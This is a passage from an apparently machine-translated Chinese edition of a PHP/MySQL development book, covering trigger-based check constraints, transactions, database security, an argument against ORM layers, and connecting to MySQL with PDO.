字符串。清单 4-15 中的显示了这么多,它显示了清单 4-14 中最后一个echo
之后的内容。
清单 4-15 。add_triggers
函数的更多代码
$trigger1_name = "table_{$table}_trigger1";
$trigger2_name = "table_{$table}_trigger2";
$proc_name = "check_table_{$table}";
$trigger1_create = "create trigger $trigger1_name
before insert on $table for each row begin
call check_table_{$table}($cols); end";
$trigger2_create = "create trigger $trigger2_name
before update on $table for each row begin
call check_table_{$table}($cols); end";
$proc_create = "create procedure $proc_name($parms)
begin $sql end";
echo "<p>$trigger1_create";
echo "<p>$trigger2_create";
echo "<p>$proc_create";
现在我得到了清单 4-16 中所示的输出,添加了一些换行符和空格以使其更具可读性。
清单 4-16 。添加清单 4-15 中的代码时的输出
new.last, new.first, new.office
last varchar(45), first varchar(45), office varchar(45)
create trigger table_manager_trigger1 before insert on manager
for each row begin
call check_table_manager(new.last, new.first, new.office);
end
create trigger table_manager_trigger2 before update on manager
for each row begin
call check_table_manager(new.last, new.first, new.office);
end
create procedure check_table_manager
(last varchar(45), first varchar(45), office varchar(45))
begin
if office not in ('DALLAS', 'BOSTON', 'PARIS', 'TOKYO') then
signal SQLSTATE value 'CK001'
set MESSAGE_TEXT = 'Invalid OFFICE value.';
end if;
end
SQL 构建完成后,剩下的工作就是添加代码来删除现有的触发器和过程,并创建新的触发器和过程。清单 4-17 显示了完整的功能。
清单 4-17 。最终add_triggers
功能
function add_triggers($pdo, $table, $sql) {
$stmt = $pdo->prepare('select column_name, column_type
from information_schema.columns
where table_schema = :dbname and table_name = :table');
$stmt->execute(array('dbname' => DB_NAME, 'table' => $table));
$cols = $parms = '';
while ($row = $stmt->fetch()) {
$cols .= ", new.{$row['column_name']}";
$parms .= ", {$row['column_name']} {$row['column_type']}";
}
$cols = substr($cols, 2); // extra ", " at front
$parms = substr($parms, 2);
echo "<p>$cols";
echo "<p>$parms";
$trigger1_name = "table_{$table}_trigger1";
$trigger2_name = "table_{$table}_trigger2";
$proc_name = "check_table_{$table}";
$trigger1_create = "create trigger $trigger1_name
before insert on $table for each row begin
call check_table_{$table}($cols); end";
$trigger2_create = "create trigger $trigger2_name
before update on $table for each row begin
call check_table_{$table}($cols); end";
$proc_create = "create procedure $proc_name($parms)
begin $sql end";
echo "<p>$trigger1_create";
echo "<p>$trigger2_create";
echo "<p>$proc_create";
$pdo->exec("drop procedure if exists $proc_name");
$pdo->exec("drop trigger if exists $trigger1_name");
$pdo->exec("drop trigger if exists $trigger2_name");
$pdo->exec($trigger1_create);
$pdo->exec($trigger2_create);
$pdo->exec($proc_create);
echo "<p>Success!";
}
回顾一下我刚才展示的内容:为了避免编辑列和类型的列表,我通过对information_schema
的查询生成了它们。然后,我构建 SQL 语句来创建触发器和过程,并将这些语句发送到 MySQL 进行处理。我首先删除已创建的对象(如果它们存在的话),这样程序就可以在每次模式改变时运行。实际上,针对单个表传递给add_triggers
的 SQL 会更长,因为通常会有许多检查需要进行。您还可以为每张桌子调用add_triggers
。但是add_triggers
功能本身不必改变。机械地生成参数列表是值得的,因为它们可能很长,可能有很多表,并且它们必须随着模式的改变而保持最新。
嗯,用 MySQL 编码检查约束不像用 Oracle 这样更完整的 DBMS 那么容易,但也不错。但是,还有一个更严重的问题:带有 check 约束的触发器的存在并不意味着数据都检查正常,因为触发器可能在数据输入后被添加或更改。请记住,它只在插入或更新时触发。这是在输入任何数据之前对数据库设置所有约束是个好主意的原因之一。
交易 s
一个事务 是一个与数据库交互的短序列,由查询和/或更新组成,它们一起形成一个有意义的活动单元。实际上,您应该将一个事务看作是一组必须完全完成或者根本不完成的 SQL 语句。
例如,清单 4-9 中显示的两个表os
和language
,以及它们引用的employee
表。假设您想要删除一个雇员,这需要删除所有三个表中该雇员的所有行,这将需要执行三个单独的 SQL delete
语句(在没有级联的情况下)。这些构成了一个事务,因为如果由于某种原因它们都无法完成,您不希望任何数据被删除。删除员工完全失败是可以的;在这种情况下,用户将被简单地告知失败,他或她可以再试一次。比如说,删除语言,留下主雇员行和操作系统行是不行的。如果数据库处于这种状态,它将包含错误的信息。尽管这种不一致可能会很快得到解决,但仍然会有时间让另一个用户生成一个包含错误信息的报告。也许员工刚刚辞职,所以虚假信息对他或她来说无关紧要。但是报告的目的可能是判断经理的表现,他会因为有一个不懂编程语言的员工而受到批评。
事务的这种属性,要么完全完成,要么根本不做,被称为原子属性。有四个基本属性共同构成了首字母缩略词 ACID 。
- 正如我刚才解释的,A 代表原子。
- C 代表一致性,这意味着当事务完成时,所有一致性约束(例如,外键和非空)必须为真。
- I 表示被隔离,这意味着该事务的影响对于与数据库交互的任何其他进程都是不可见的。
- D 代表耐久性,这意味着一旦完成,该事务的效果不能丢失,即使出现操作系统错误、硬件故障或断电。
Theo Haerder 和 Andreas Reuter 在 1983 年的一篇调查论文“面向事务的数据库恢复原则”(www.minet.uni-jena.de/dbis/lehre/ws2005/dbs1/HaerderReuter83.pdf
)中创造了一个聪明的缩写词 ACID,意思是高质量的数据库必须通过“ACID 测试”,非常值得一读。
这些属性是数据库的责任,而不是您的应用的责任,前提是您已经指明了事务开始和结束的时间。通过 MySQL 的 PDO 接口,您可以通过调用PDO::beginTransaction
和PDO::commit
来实现。您还必须使用 InnoDB 存储引擎,无论如何您都应该这样做。其他存储引擎(有很多)可能也支持事务,但是对于大多数目的来说,InnoDB 是最好的。
在您的 PHP 代码中,一个事务看起来如下:
$pdo->beginTransaction();
// ... several SQL statements ...
$pdo->commit();
如果执行在到达commit
之前被中断,那么从beginTransaction
开始的所有操作都将回滚,就像从未发生过一样——所有的删除、插入和更新。因为隔离,没有其他事务可以看到你的任何部分工作;如果有,并且您回滚了,它可能会看到看似存在但实际不存在的幻影数据。
如果您想强制回滚,因为可能有一个 SQL 错误,或者您已经检测到一些错误,或者用户取消了您的应用正在做的任何事情,您调用PDO::rollback
函数。如果 SQL 语句失败,这不会自动完成;你必须自己捕捉异常并调用rollback
。
如果不启动事务,每个 SQL 删除、插入或更新都是在 MySQL 所谓的自动提交模式下执行的,这意味着每个语句都是自己的事务。也就是说,你一边走一边提交。这是默认模式——如果您愿意,可以关闭它,如果有一长串不一定在事务中的更新,并且如果单个更新被排队等待以后处理,可以更有效地处理,那么您可能会这样做。
MySQL 的一致性属性不言而喻,因为没有办法像其他系统那样推迟约束。有了它们,任何延迟的约束都会作为提交的一部分得到处理;在 MySQL 中,约束(和触发器)逐个语句地操作。
默认情况下,MySQL(实际上是 InnoDB 引擎)提供的隔离赋予了可重复读取,这意味着事务中的任何普通(非锁定)select
语句都可以看到一致的数据,即使某处的另一个事务试图更改该数据。如果需要,您可以用一个set transaction isolation level
语句来改变它;选项有read committed
、read uncommitted
或serializable
。我不会在这里讨论细节,但是你可以在 MySQL 文档的dev.mysql.com/doc
中读到。
在我编写的应用中,几乎我所有的代码都使用了自动提交。偶尔我会做一些必须是原子的更新,所以我建立了一个事务。您希望避免让事务变得太大——例如,几十个,甚至几百个更新——因为整个事情可能必须回滚,并且许多行可能必须被锁定。如果您有那种批量更新,并且它确实需要是原子性的(可能不是——仔细想想),那么最好在数据库不被使用时运行它,如果有这样的时间的话。
当我有一个事务时,我将rollback
调用放在错误处理代码中,如清单 4-18 中的所示。注意,我测试以确保设置了$pdo
,因为如果构造函数失败就会抛出一个异常,在这种情况下它没有被设置。此外,在调用rollback
之前,我会测试自己是否在一个事务中。(通常,我的应用不是这样组织的,因为$pdo
设置远离事务代码。在第五章中会有更多的介绍。)
清单 4-18 。调用错误处理程序中的rollback
try {
$dsn = 'mysql:host=' . DB_HOST . ';port=' . DB_PORT .
';dbname=' . DB_NAME . ';charset=utf8';
$pdo = new PDO($dsn, DB_USERNAME, DB_PASSWORD);
$pdo->setAttribute(PDO::ATTR_ERRMODE,
PDO::ERRMODE_EXCEPTION);
$pdo->beginTransaction();
// ... several SQL statements ...
$pdo->commit();
}
catch (PDOException $e) {
if (isset($pdo) && $pdo->inTransaction())
$pdo->rollBack();
die(htmlentities($e->getMessage()));
}
数据库安全
数据库安全包括
- 备份和恢复:保护数据不因错误、设备故障或破坏而丢失,
- 网络安全:防止对 MySQL 服务器的未授权访问,以及
- 访问控制:防止未经授权的 SQL 操作,比如删除表。
我简要地讨论了其中的每一个,要了解更多信息,您可以查看位于dev.mysql.com/doc
的 MySQL 文档。
备份和恢复
无论谁运行生产服务器,无疑都有某种备份和恢复系统,但问题是您是否能信任它。例如,您可以询问备份是否异地存储,多久异地移动一次,保留多少代等等,您会得到答案,但这些都将基于书面政策。当夜班操作员在凌晨 2 点打盹、给他或她的朋友发短信或者在外面抽烟时,实际上发生了什么,谁也说不准。
因此,除非数据库太大而不实用,否则您应该自己制作备份并将它们存储在本地计算机上。您可以从 MySQL Workbench 或使用*nix shell 脚本来完成。另一个想法是使用一个名为s3cmd
的命令,用一个每天晚上自动运行的脚本将备份存储在亚马逊 S3(云存储)上。你可以在gist.github.com/oodavid/2206527
找到这方面的文章。
注意,我这里说的备份和恢复是针对整个数据库的。它与回退事务(回滚)无关,回退事务在 MySQL 内部处理。
网络安全
如果运行在 web 服务器上的 PHP 程序和 MySQL 在同一台计算机上,那么您只需要从“localhost”默认访问 MySQL。它是安全的,因为没有任何其他计算机的访问。如果 MySQL 在它自己的计算机上,你需要从应用计算机上访问它,但是你可以把它限制在固定的 IP 地址上,这仍然是安全的,特别是如果它们在本地网络上。只要你设置正确,在公共互联网上进行更广泛的访问是安全的,不要过于慷慨地给出允许访问的 IP 地址。
您可以在 MySQL Workbench 中设置网络安全性。你需要的技术信息在dev.mysql.com/doc
的 MySQL 文档的第六章中。
访问控制
MySQL 的访问控制允许您创建拥有自己密码的用户,然后控制他们拥有什么特权来操作数据库、表和行。为应用的每个用户创建一个 MySQL 用户是不切实际的,因为 MySQL 管理员必须创建 MySQL 用户,而且权限不能映射到应用功能中。
一般来说,对于本书主题的各种 PHP/MySQL 应用所使用的任何数据库,您只需要两个用户:一个拥有所有权限,用于管理数据库,另一个用于普通应用用户。第一个会在你安装 MySQL 的时候自动设置,也就是本书(root
)的例子中出现的那个。你必须自己设置一个更有限的,用 MySQL Workbench 很容易做到。首先设置用户,这里称为app
,如图图 4-17 所示。
图 4-17 。MySQL Workbench 中的用户应用设置
接下来,在“管理角色”选项卡上,您将该用户限制为只能进行一些 DML 操作,因此它可以读取和修改数据,但不能更改模式,如图 4-18 所示。
图 4-18 。用户应用的管理角色
在第五章和第六章中,我展示了如何让用户登录到你的应用中。每个人都以 MySQL 用户app
的身份运行,除了管理员,他们以root
或者你所称的管理用户的身份运行。在第七章的中,我会对面向应用的角色(基于角色的访问控制,或者 RBAC)有更多的介绍。
性能优化
关于数据库性能优化的第一条也是最重要的一条规则是,除非有证据表明你需要,否则你不应该这么做。即使你认为你有,你也不能做任何测量,直到有一些现实生活中的数据,所以你至少要等到那个时候。
如果有问题,尽量本地化。如何对查询进行编码会对它的运行时间产生巨大的影响。找到一个检索兆字节数据的查询,结果却是大海捞针,丢掉了干草,这是很常见的。一个更好的查询可能会运行得更快。
索引可能有助于加快连接或where
子句的速度。每个主键和唯一约束都有一个,但更多可能会有帮助。它们会降低更新速度,但会大大加快查询速度。
如果您认为模式和 SQL 已经尽您所能做到最好,那么接下来的事情就是通过增加内存来扩大规模,如果这不起作用,就增加更多的 CPU/内核和更快的磁盘,甚至可能增加固态硬盘。如果必须向外扩展,有时可以逻辑地拆分数据库,例如,将每个销售区域放在自己的服务器上。这使得一些报告变得复杂,但是更新可能仍然很简单。最后一个办法是将一些数据转移到 NoSQL 数据库。
我没有足够的空间来详细讨论 MySQL 的性能,但是有一本关于这个主题的非常出色的书,由巴伦·施瓦茨、彼得·扎依采夫和瓦迪姆·特卡琴科合著的《高性能 MySQL 》( 2012 年,奥赖利媒体出版公司)。如果你有 MySQL 性能问题,这是必不可少的读物。
你有好的数据库吗?
现在您已经读到了本章的末尾,您会想知道您的数据库设计是否是一个好的设计。如果以下条件都为真,则为真:
- ER 图是可以理解的,所有的关系不仅有意义而且符合要求。
- 所有的表和列都有很好的名称,具有一致的命名方案。外键列与其相关的主键同名,除非表中有多个这样的外键列。
- 您已经完成了“从 ER 图到物理设计”一节中列出的所有步骤这意味着每个外键都有一个外键约束,所有候选键都有唯一的约束,它是第三范式(如果不是第四范式),并且您已经建立了所有合理的完整性约束,包括触发器形式的检查条件。
- 您已经用一个执行适当连接的查询测试了 ER 图上的每个关系。
- 所有要从现有系统转换的数据都可以加载到数据库中。
- 可以满足所有报告要求,这可以通过编写测试 SQL 查询来确定。(不需要自己创建报告。)
- 可以满足所有 CRUD 要求。
- 您已经浏览了每一个用例,并且您需要的数据库中的所有东西都在那里。
在测试关系(步骤 4)之前,您必须加载一些数据,这样您就有东西可以使用了。最好的选择是开发并运行你无论如何都需要的转换程序(第八章),但是,因为这需要一些时间,你可能想用假数据来代替。关系(表示为外键)应该从 PHP 程序中插入,因为手工插入太繁琐了。原始数据(假名、地址等)的良好来源。)是网站generatedata.com
。或者,用 PHP 编造你自己的假东西是相当容易的。如果你一直想认识名叫斯图·皮德利或丹·塔弗洛斯的人,现在你的机会来了。
如果您满足了这些条件,那么您就拥有了一个好的数据库!你应该祝贺自己,因为现在你的项目一定会成功。您有需求,这是成功的最重要的标准,还有数据库,这是实现的最关键的部分。完成转换,写报告,现在你需要的是一个像样的用户界面。这确实很难,但如果你第一次没有做对,你可以继续尝试,直到你做对为止,而不会影响系统的任何其他部分。
等等。。。。把失败从胜利的虎口中夺走还不算太晚。阅读下一节了解如何做到这一点。
开发对象关系映射层
如果您的团队中有任何面向对象的程序员,您几乎肯定会这样做,他们会希望用面向对象的模型包装关系模型,这样他们就可以假装他们真的在使用对象数据库。对象关系映射(ORM) 提倡用他们的编程语言,通常是 Java 或 C#,根据对象进行真正的设计;数据库,在某种程度上,他们想考虑它,只是一种方法,使这些对象持久化。
这种方法的好处是
- 应用与关系模型是分离的,所以如果模型改变,只有 ORM 的内部必须改变。
- 整个应用只有一个对象模型,而不是一个用于程序,另一个用于数据库(由实体和关系组成)。
- 只有在 ORM 层工作的程序员(或者程序员,如果是一个大项目的话)必须处理 SQL 和事务(ACID 属性)。
- 跟踪数据库的使用情况很简单,因为所有的访问都通过同一个界面。
我觉得很棒!但是,一如既往地,也有一些缺点。
- ORM 将会有数百甚至数千行额外的代码,如果应用的程序员愿意并且能够直接处理 SQL,所有这些都是不必要的。换句话说,没有一行 ORM 代码与任何需求直接相关,因此也没有任何客户利益。它的唯一目的是实现一种特定的实施方法。
- ORM 是数据不匹配、一致性故障、崩溃、错误查询和 ACID 故障的新来源。它必须配备人员、调试、测试、记录、移植和维护。
- 如果 ORM 要保护大多数程序员不受 SQL 的影响,那么这将是一个巨大的开发瓶颈,在一两个从事 ORM 工作的人实现他们需要的对象和方法之前,任何人都无法取得很大的进展。以数据库为中心的架构所提供的开发并行性被破坏了。
- ORM 程序员的工作非常困难。将每个实体映射到一个对象很容易,但是应用的许多部分都要利用关系,这意味着实体之间的连接。这些都需要发明新的物体。事务也必须在 ORM 中实现。
- 应用开发人员被剥夺了 SQL 的好处,主要是将数据作为集合处理的能力,使用非过程的基于集合论的查询代替过程代码。
- 应用程序员对新的 ORM 特性的每一个请求都需要协商,如果我自己的经验有指导意义的话,还需要争论。这使得工作变得非常不愉快和低效。
- 由于前一点,程序员将通过已经实现的对象将查询编码为一系列循环,而不是让数据库做它擅长的事情,即以高度优化的方式运行
select
语句工厂(图 4-1 ),这可能需要对 ORM 进行更改。
我还应该提到一点,ORM 并没有而不是保护其余的应用代码免受数据模型变化的影响,因为大多数这样的变化都会改变 ORM 模型。您已经拥有了逻辑和物理模型之间的数据独立性,这是 Codd 最初对关系方法的证明,您不需要它两次。
啊哦!我可能暴露了我的位置!当然,我见过。为什么,有了一个强大的团队(第一章)、手头的需求或进展良好的需求(第二章)、建立了正确的平台(第三章)以及良好的数据库设计(第四章),你会想用 ORM 把它搞砸呢?在这一点上,没有 ORM,你几乎不可能失败。编程转换(如果你还没有),CRUD 和报告,你就完成了。事实上,在您构建 ORM 之前,您就已经完成了!
构建一个高效可靠的 PHP/MySQL 应用的最快方法是按照它本来的用途使用 MySQL,作为一个关系数据库。也许如果你使用一个对象数据库,你也可以做得很好(也许),但是假装这就是 MySQL 将会是一个巨大的错误。
尽管如此,面向对象的狂热分子会要求 ORM,他们会无情地攻击任何不同意他们的人。尽你所能击退他们。他们的想法在一个长长的Stackoverflow.com
帖子(stackoverflow.com/questions/760834/question-about-the-benefit-of-using-an-orm
)的评论中被很好地捕捉到了。
当你让数据库决定你的应用设计时,你就失去了正确建模面向对象设计的能力,并开始让数据库决定你如何设计一个荒谬的应用。我不关心数据库。它是一个持久的数据存储,仅此而已。在应用中使用数据库仅仅是拥有可以以某种方式查询的持久数据存储的一种方式。
这是一个很棒的评论,因为它非常清楚地表达了我一直建议的完全相反的观点:数据库应该决定设计,你必须非常关心它,因为它建立了应用操纵的模型。
这让我想起我曾经看过的一篇关于摇滚唱片的评论,大意是音乐似乎来自讨厌摇滚的音乐家。我认为 ORM 的人讨厌数据库。
Ted Neward 在他的博客(blogs.tedneward.com
)上称 ORM 为“计算机科学的越南”。这个比喻不错。用纽沃德的话说,ORM“代表了一个泥潭,开始很好,变得更复杂久而久之,不久就让用户陷入一个没有明确分界点、没有明确胜利条件、没有明确退出战略的承诺中。”还有这个:“。。。早期的成功产生了在成功变得更加难以捉摸的地方使用 O/R-M 的承诺,随着时间的推移,由于通过所有可能的用例来支持它所需的时间和精力开销,根本就不是成功。”
我将以一个真实的故事来结束这篇长篇大论:你还记得我在第一章中描述的超级任务项目吗?该项目的程序员为了开发一个 Windows 版本,耗尽了所有的风险投资,却一无所获。当我在他们工作了一年后接手工程时(50 万美元),他们有一个看起来很像 Windows 文件资源管理器的外壳,一个非常好的数据库设计和一个 ORM。仅此而已。正如我提到的,我们得到了另外六个月的资金。我保留了数据库,扔掉了 shell 和 ORM。所有程序员都用 SQL 编写代码,有时被查询对象保护得很薄,这些查询对象是微软用于 Windows 应用的 MFC 类库的一部分,有时直接编写代码。这使得我们可以并行工作。我们完成了这个应用,把它安装在一些大型食品连锁店里,并通过把公司卖给一个更大的机构,让投资者和创始人都满意了。ORM 呆在它该呆的垃圾桶里。
正如爱丽丝·温的民权老歌所唱的,“把你的眼睛放在奖品上。”一只 ORM 不是。
章节总结
- SQL 允许您以集合(元组/行)的集合(关系/表)的形式非过程地处理数据。
- SQL 的重要部分是连接,主要是内部连接和左/右外部连接。
- 一种有效的高级建模符号是 er 建模,尽管还有其他符号。
- 识别实体是 ER 建模中最重要的部分,其次是关系,再次是属性。一旦建立了实体,关系和属性就由需求决定了。
- 物理上,关系由主键和外键表示。
- 第二和第三范式是必不可少的;第一范式主要是为了避免笨拙的编码和频繁的模式更改。
- 数据库的约束越多越好(unique、foreign-key、not null 和用触发器实现的 check 约束)。
- 将对数据库的访问保持在应用所需的最低限度,只有两个用户具有有限的网络访问权限,或者没有网络访问权限。
- 自己备份数据库,不管你的主机提供商声称在做什么。
- 根据您当时的需求,继续进行数据库设计,直到它是正确的。随着需求的发展,数据库当然也应该发展。
- 不要构建 ORM 层,如果你知道有人不这么认为,可以考虑进行干预。**
五、应用结构
从前有一个来自莱姆的年轻人
谁不能让他的打油诗押韵
当被问及“为什么不呢?”
据说他认为
它们可能太长,结构不良,一点也不好笑。
匿名的
本章和下一章主要关注 PHP 主题。一般来说,这一章涵盖了结构问题:MySQL 和 PHP 之间的接口,HTML 页面和生成它们的 PHP 程序应该如何组织,以及如何维护会话,以便独立的 PHP 程序可以组成一个应用。下一章将讨论更详细的主题。
如您所知,我的目的不是要深入了解 PHP 编程的所有细节,我假设您已经知道其中的大部分内容,或者可以在现有的大量 PHP 书籍中轻松找到。相反,我会尽量把你的时间花在那些很少在任何书中讨论的事情上。
我按照以下顺序介绍了本章中的主题:
- 如何通过 PDO 接口从 PHP 访问 MySQL?
- PHP 如何与表单交互,以及如何将表单域连接到数据库列。
- PHP 会话,允许应用页面组成一个应用。
- 一个可以用来编码标准化页面的框架。
- 如何处理与表单的一对多和多对多关系?
从 PHP 访问 MySQL
作为一等公民,已经有一些尝试将数据库访问合并到编程语言中,但是这不是你在 PHP 中使用 SQL 的方式。该接口具有传统的函数调用。您将 SQL 以字符串的形式传递给数据库驱动程序,如果有结果集返回,您将以 PHP 数组的形式接收它。这是一种完全令人满意的工作方式,而且我从来不觉得这种语言需要被额外的语法搞得乱七八糟。
有时,您会在运行mysql
命令的终端会话中、在 MySQL Workbench 查询窗口中或以其他方式直接执行 SQL,但本章专门讨论在 PHP 程序中使用 SQL。
连接 PDO
自从 PHP 和 MySQL 出现以来,它们就一直在一起,并且在过去的几年中,已经引入了几个应用接口(API)。有最初的 API,简称 mysql,改进的 API,称为 mysqli,以及最近的 PDO (PHP 数据对象)。
出于三个原因,PDO 是你想要的(除非在极少数情况下,它不支持一些模糊的 MySQL 特性)。
- 你可以设置一个
PDO::ERRMODE_EXCEPTION
选项,让每个错误抛出一个异常,就像我在实例化 PDO 对象之后,在清单 4-10 的中所做的那样。(实例化失败总是会引发异常。)这意味着你不会无意中忽略一个错误,也不必检查每个 PDO 函数调用的返回。 - PDO 为参数化查询提供了方便的支持。mysqli API 对它们的支持就不那么方便了。
- PDO 适用于任何数据库,不仅仅是 MySQL,所以,一旦你学会了,你就万事俱备了。
我已经在第四章中演示了 PDO 的一些用法,但是没有一个显示结果集(一个虚拟表)被返回给 PHP。清单 5-1 ,基于清单 3-1 的测试程序,就是这样一个。事实上,它以二维数组的形式一次性获得整个结果集。第一个整数维是行,第二个整数维给出列值,按列名索引。工作台没有被加工,只是被转储出去,如图图 5-1 所示。
清单 5-1 。以 PHP 数组的形式检索结果集
define('DB_HOST', 'localhost');
define('DB_PORT', '3306');
define('DB_NAME', 'mydb');
define('DB_USERNAME', 'root');
define('DB_PASSWORD', '...');
try {
$dsn = 'mysql:host=' . DB_HOST . ';port=' . DB_PORT .
';dbname=' . DB_NAME;
$pdo = new PDO($dsn, DB_USERNAME, DB_PASSWORD);
$pdo->setAttribute(PDO::ATTR_ERRMODE,
PDO::ERRMODE_EXCEPTION);
$pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE,
PDO::FETCH_ASSOC);
$pdo->exec('set session sql_mode = traditional');
$pdo->exec('set session innodb_strict_mode = on');
$stmt = $pdo->prepare('select * from department');
$stmt->execute();
$result = $stmt->fetchAll();
echo '<pre>';
print_r($result);
echo '</pre>';
}
catch (PDOException $e) {
die(htmlspecialchars ($e->getMessage()));
}
图 5-1 。清单 5-1 中运行程序的屏幕截图
除了PDO::ERRMODE_EXCEPTION
之外,我一直启用的另一个选项是PDO::FETCH_ASSOC
,正如你在清单 5-1 中看到的,这样数组中返回的任何结果都只按列名进行索引。否则,默认情况下会有第二组按列号索引的元素,这是多余的。我还将sql_mode
设置为traditional
,将innodb_strict_mode
设置为on
,以强制对数据值进行更严格的检查。
我调用htmlspecial
用 HTML 实体替换错误消息中的特殊字符(在catch
块中)。这是一个方便的函数,我定义为
function htmlspecial($s) {
return htmlspecialchars($s, ENT_QUOTES, 'UTF-8');
}
我没有在每次访问数据库时重复 PDO 设置代码,而是将它放入一个函数中,在需要时可以调用,如清单 5-2 所示。这个函数在一个DbAccess
类中,我将在接下来的几节中添加这个类。注意凭证的定义(DB_HOST
等)。)都不见了;我马上告诉你他们去了哪里。
清单 5-2 。设置 PDO 的常用getPDO
功能
class DbAccess {
function getPDO() {
static $pdo;
if (!isset($pdo)) {
$dsn = 'mysql:host=' . DB_HOST . ';port=' . DB_PORT .
';dbname=' . DB_NAME;
$pdo = new PDO($dsn, DB_USERNAME, DB_PASSWORD);
$pdo->setAttribute(PDO::ATTR_ERRMODE,
PDO::ERRMODE_EXCEPTION);
$pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE,
PDO::FETCH_ASSOC);
$pdo->exec('set session sql_mode = traditional');
$pdo->exec('set session innodb_strict_mode = on');
}
return $pdo;
}
}
该函数将 PDO 对象保存在一个静态变量中,以防它在 PHP 程序中被多次调用。在getPDO
中根本没有检错。实例化失败(new
操作符)总是会导致异常,并且,一旦PDO::ERRMODE_EXCEPTION
被设置,所有其他失败的 PDO 调用也会如此。
我通常不希望一次得到整个结果集,这是函数PDO::fetchALL
给我的。我几乎总是想一次处理一行,如清单 5-3 所示,它调用了PDO::fetch
。注意,它使用了DbAccess
类和getPDO
方法。它生成 HTML 来格式化结果,而不仅仅是将结果转储出来,如图 5-2 所示。
清单 5-3 。按行检索结果集
try {
$db = new DbAccess();
$pdo = $db->getPDO();
$stmt = $pdo->prepare('select * from department');
$stmt->execute();
echo '<table border=1>';
$first = true;
while ($row = $stmt->fetch()) {
if ($first) {
echo '<tr>';
foreach ($row as $attr => $val)
echo "<th>$attr";
$first = false;
}
echo '<tr>';
foreach ($row as $attr => $val)
echo "<td>$val";
}
echo '</table>';
}
catch (PDOException $e) {
die(htmlspecialchars($e->getMessage()));
}
图 5-2 。检索到的 HTML 格式的结果集
关于清单 5-3 中的 HTML,我已经跳过了周围的 HTML ( <!doctype ...>
、<html>
、<head>
等)。).这是草率的,不是我在产品代码中会做的事情,但是我在测试代码和小例子中一直这样做。我还跳过了像<tr>
和<th>
这样的元素的结束标记,但这是完全合法的,省去了试图让所有内容正确匹配的麻烦。我也大多省略段落的结尾</p>
,因为它们也是可选的。(一些 HTML 编码人员出于风格考虑,更喜欢以段落结尾。)我通常也会省略 HTML 属性值周围的可选引号(例如<table border=1>
),因为 PHP 程序已经被单引号和双引号搞得过于混乱了。
数据库凭证
询问任何 web 程序员数据库凭证应该放在哪里,您会被告知永远不要将它们放在使用它们的数据库访问代码所在的文件中。不过,这一建议的理由并不充分。关于 web 服务器意外地以纯文本的形式提供 PHP 程序,或者在 web 站点上访问源代码的人能够看到用户名和密码,或者如果您发布或以其他方式分发源代码时意外地发布了它们。
只有最后一点对我真正有意义。因为凭证必须放在服务器上的某个地方,任何人都可以访问服务器上的所有文件。Web 服务器不以文本形式提供 PHP 程序,而是将它们传递给 PHP 处理器执行。断开的 web 服务器可能会显示文本,但是,一旦设置正确,web 服务器就不会中断。
也许将数据库凭证放在它们自己的文件中并放在一个标准位置的最好理由是,服务器上所有相关的应用都可以访问它们。这就是我所做的,尽管,正如我所说的,给我增加的安全是最小的。
文件应该有一个“.php”扩展名,以防它被直接访问。使用类似于“.”的扩展名。include”是危险的,因为如果它在服务器的文档树中,它将作为纯文本提供。你通常可以把它放在树之外,但并不总是这样,因为主机服务可能不允许你访问任何其他目录。
无论如何,为了谨慎起见,我将凭证放在一个名为credentials.php
的文件中,并在可能的时候将它们放在文档树之外。(更好的名字可能更难猜,比如X56-2345-QR77-J654.php
,但这真的太离谱了。)
清单 5-4 显示了我在DbAccess
类前面执行的代码,它在几个地方寻找凭证文件。如果它没有找到它们,它会尝试环境,这就是亚马逊的弹性豆茎放它们的地方。如果这不起作用,它将它们定义为伪值,以防我想测试该路径(例如,用 PHPUnit)。
清单 5-4 。正在搜索credentials.php
文件
foreach (array(
"/.config/credentials.php",
"{$_SERVER['DOCUMENT_ROOT']}/../.config/credentials.php",
"{$_SERVER['DOCUMENT_ROOT']}/.config/credentials.php",
"../.config/credentials.php",
"../../.config/credentials.php"
) as $f)
if (file_exists($f)) {
require_once $f;
break;
}
if (!defined('DB_HOST')) {
if (isset($_SERVER['RDS_HOSTNAME'])) {
// Amazon Elastic Beanstalk
define('DB_HOST', $_SERVER['RDS_HOSTNAME']);
define('DB_PORT', $_SERVER['RDS_PORT']);
define('DB_NAME', $_SERVER['RDS_DB_NAME']);
define('DB_USERNAME', $_SERVER['RDS_USERNAME']);
define('DB_PASSWORD', $_SERVER['RDS_PASSWORD']);
}
else { // force an error, mostly for PHPUnit
define('DB_HOST', 'no host');
define('DB_PORT', 0);
define('DB_NAME', 'no db');
define('DB_USERNAME', 'no user');
define('DB_PASSWORD', 'no password');
}
}
我把清单 5-4 中的代码和其他公共代码,比如DbAccess
的require_once
语句,放在一个名为common.php
的文件中,我的每个 PHP 应用文件都包含这个文件。对于这本书,所有内容都放入 EPMADD 名称空间,所以我的 PHP 文件如下开始:
namespace EPMADD;
require_once 'lib/common.php';
并不是每个文件都需要common.php
中的所有内容,但是我不会费心把它们分开。如果您认为自己的common.php
文件已经变得太大,并且开始影响执行时间,那么您可以这样做。
为了完成这个故事,我的credentials.php
文件包含了你所期望的内容。
define('DB_HOST', 'localhost');
define('DB_PORT', '3306');
define('DB_NAME', 'mydb');
define('DB_USERNAME', 'root');
define('DB_PASSWORD', '...');
每台服务器(开发平台,亚马逊 EC2,A2 托管等。)有自己的credentials.php
文件,如果有几个应用的话,有时会有几个。
还有一件事:即使有人得到了我的 MySQL 密码,他们也不能从服务器以外的任何地方访问数据库本身,因为只允许从localhost
访问。您可以通过 SSH 连接 MySQL Workbench 或 UNIX shell 来解决这个问题,但是 SSH 比 MySQL 安全得多,所以这不是问题。
使用 PDO 执行 SQL 语句
在清单 4-17 中,当我添加触发器时,我展示了用于执行不返回结果集的 SQL 语句的PDO::exec
方法,比如drop trigger
。在这一章中,在清单 5-1 和 5-3 中,我展示了另外两个一起使用的方法:PDO::prepare
,准备一个 SQL 语句,和PDOStatement::execute
,执行它。你可以用PDO::query
同时做这两个步骤,我还没有展示。
为了解释为什么做同样的事情有三种方法,我将从两步方法开始,然后再到其他方法。
PDO::prepare
将一条 SQL 语句作为参数,尽可能多地处理它,而不实际执行它。这意味着编译它,分析它,想出一个执行它的计划,尽可能的聪明。它可能会对连接进行重新排序以提高处理效率,重新安排部分where
子句,使用索引,以及其他任何它足够聪明可以解决的问题。完成这些后,它返回一个名为PDOStatement
